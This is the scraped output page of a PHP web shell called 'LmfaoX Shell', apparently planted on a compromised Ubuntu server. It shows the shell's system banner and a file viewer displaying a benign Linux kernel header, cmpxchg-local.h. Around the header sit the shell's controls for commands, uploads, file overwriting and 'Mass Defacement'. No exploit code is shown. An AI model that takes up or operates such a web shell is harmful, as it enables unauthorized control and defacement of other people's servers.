ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:25.48 GB of 70.42 GB (36.19%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ linux-headers-3.0.0-14/ include/ asm-generic/ - drwxr-xr-x

Directory:
Viewing file:     cmpxchg-local.h (1.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#ifndef __ASM_GENERIC_CMPXCHG_LOCAL_H
#define __ASM_GENERIC_CMPXCHG_LOCAL_H

#include <linux/types.h>
#include <linux/irqflags.h>

extern unsigned long wrong_size_cmpxchg(volatile void *ptr);

/*
 * Generic version of __cmpxchg_local (disables interrupts). Takes an unsigned
 * long parameter, supporting various types of architectures.
 */
static inline unsigned long __cmpxchg_local_generic(volatile void *ptr,
        unsigned long old, unsigned long new, int size)
{
    unsigned long flags, prev;

    /*
     * Sanity checking, compile-time.
     */
    if (size == 8 && sizeof(unsigned long) != 8)
        wrong_size_cmpxchg(ptr);

    local_irq_save(flags);
    switch (size) {
    case 1: prev = *(u8 *)ptr;
        if (prev == old)
            *(u8 *)ptr = (u8)new;
        break;
    case 2: prev = *(u16 *)ptr;
        if (prev == old)
            *(u16 *)ptr = (u16)new;
        break;
    case 4: prev = *(u32 *)ptr;
        if (prev == old)
            *(u32 *)ptr = (u32)new;
        break;
    case 8: prev = *(u64 *)ptr;
        if (prev == old)
            *(u64 *)ptr = (u64)new;
        break;
    default:
        wrong_size_cmpxchg(ptr);
    }
    local_irq_restore(flags);
    return prev;
}

/*
 * Generic version of __cmpxchg64_local. Takes an u64 parameter.
 */
static inline u64 __cmpxchg64_local_generic(volatile void *ptr,
        u64 old, u64 new)
{
    u64 prev;
    unsigned long flags;

    local_irq_save(flags);
    prev = *(u64 *)ptr;
    if (prev == old)
        *(u64 *)ptr = new;
    local_irq_restore(flags);
    return prev;
}

#endif
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.6643 seconds